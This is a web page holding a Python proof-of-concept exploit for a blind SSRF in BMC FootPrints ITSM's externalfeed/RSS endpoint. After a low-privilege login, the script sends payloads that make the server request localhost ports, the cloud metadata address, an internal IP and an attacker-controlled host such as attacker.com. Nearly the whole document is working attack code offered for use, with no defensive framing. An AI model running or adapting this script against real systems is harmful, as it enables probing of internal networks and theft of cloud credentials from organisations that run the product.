CVE-2025-71259 BMC FootPrints ITSM blind SSRF漏洞

import requests import sys # CVE-2025-71259 BMC FootPrints ITSM Blind SSRF PoC # Target: externalfeed/RSS API endpoint # Authentication required (low-privilege user) def exploit_ssrf(target_url, attacker_server, credentials): """ Exploit blind SSRF in BMC FootPrints ITSM externalfeed/RSS API Args: target_url: Base URL of BMC FootPrints ITSM (e.g., https://target.com) attacker_server: Attacker's controlled server to receive requests credentials: Dict with 'username' and 'password' """ session = requests.Session() # Step 1: Authenticate with low-privilege account login_url = f"{target_url}/GoIn/LogIn.dll?R=1" login_data = { 'username': credentials['username'], 'password': credentials['password'] } print(f"[*] Authenticating as {credentials['username']}...") response = session.post(login_url, data=login_data) if response.status_code != 200: print("[-] Authentication failed") return False print("[+] Authentication successful") # Step 2: Exploit SSRF via externalfeed/RSS API ssrf_url = f"{target_url}/externalfeed/RSS" # Internal service probing (SSRF payload examples) payloads = [ f"http://localhost:80/", f"http://127.0.0.1:8080/", f"http://169.254.169.254/latest/meta-data/", # Cloud metadata f"http://{attacker_server}/", f"http://192.168.1.1:80/" ] print(f"[*] Sending SSRF payloads to {ssrf_url}...") for payload in payloads: params = {'url': payload} try: response = session.get(ssrf_url, params=params, timeout=10) print(f"[+] Payload sent: {payload}") except requests.exceptions.Timeout: print(f"[!] Timeout for payload: {payload} (may indicate successful SSRF)") except Exception as e: print(f"[-] Error with payload {payload}: {str(e)}") print("[*] SSRF exploitation completed") print("[*] Check attacker_server logs for incoming requests from target") return True if __name__ == "__main__": if len(sys.argv) < 4: print("Usage: python cve-2025-71259.py <target_url> <attacker_server> <username> <password>") print("Example: python cve-2025-71259.py https://footprints.example.com http://attacker.com:8080 user pass") sys.exit(1) target = sys.argv[1] attacker = sys.argv[2] creds = {'username': sys.argv[3], 'password': sys.argv[4]} exploit_ssrf(target, attacker, creds)